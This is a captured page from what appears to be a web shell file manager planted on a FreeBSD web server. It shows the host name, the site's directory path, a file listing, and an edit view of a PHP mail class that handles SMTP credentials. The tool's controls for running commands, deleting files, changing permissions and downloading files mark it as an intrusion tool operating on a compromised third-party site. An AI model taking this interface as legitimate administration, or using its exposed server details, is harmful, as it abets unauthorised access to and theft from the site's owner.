TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
app
application
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/app/application/SendmailControl.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Application; use Nette\Database\Context; use Nette\Mail\Message; /** * SendmailControl * @author Jan Pospisil */ class SendmailControl extends \Nette\Object { const FORGOT_PASSWORD = 'forgot_password'; const NEW_ACCOUNT_REQUEST = 'new_account_request'; private $connection; private $mailerFactory; private $texyAccessor; public function __construct(Context $context, IMailerFactory $mailerFactory, TexyAccessor $texyAccessor){ $this->connection = $context; $this->mailerFactory = $mailerFactory; $this->texyAccessor = $texyAccessor; } public function send($key, $to, array $variables, $lang, array $flags = array()){ $template = $this->connection->table('email_template')->where('key = ?', $key)->fetch(); if(!$template){ throw new \InvalidArgumentException('Template with key "'.$key.'" does not exist.'); } $email = new \Teze\Mail\Message(); $sender = $template->sender; $email->setFrom($sender->email, $sender->name); $email->setSubject($template['subject_'.$lang]); $body = $template['body_'.$lang]; $body = strtr($body, $variables); $htmlBody = $this->texyAccessor->get()->process($body); $email->setHtmlBody($htmlBody); $email->addTo($to); $this->mailerFactory->create(array( 'host' => $sender->host, 'port' => $sender->port, 'username' => $sender->username, 'password' => $sender->password ))->send($email); } }
Crotin
Name
Size
Permissions
Modified
User/Group
IdentityControl.php
566
0644
2016-04-11 23:49:46
Unknown/Unknown
TestRest.php
330
0644
2016-03-05 11:29:28
Unknown/Unknown
Application.php
221
0644
2016-03-05 11:29:28
Unknown/Unknown
SmtpMailerFactory.php
336
0644
2016-03-05 11:29:28
Unknown/Unknown
Identity.php
1299
0644
2016-04-16 10:22:12
Unknown/Unknown
SendmailControl.php
1472
0644
2016-03-05 11:29:29
Unknown/Unknown
FileMailerFactory.php
604
0644
2016-03-05 11:29:28
Unknown/Unknown
TexyAccessor.php
341
0644
2016-03-05 11:29:29
Unknown/Unknown
LinkBuilder.php
666
0644
2016-03-05 11:29:29
Unknown/Unknown
IMailerFactory.php
302
0644
2016-03-05 11:29:29
Unknown/Unknown
Logger.php
600
0644
2016-04-12 00:36:44
Unknown/Unknown
FsKempyRest.php
210
0644
2016-03-05 11:29:29
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin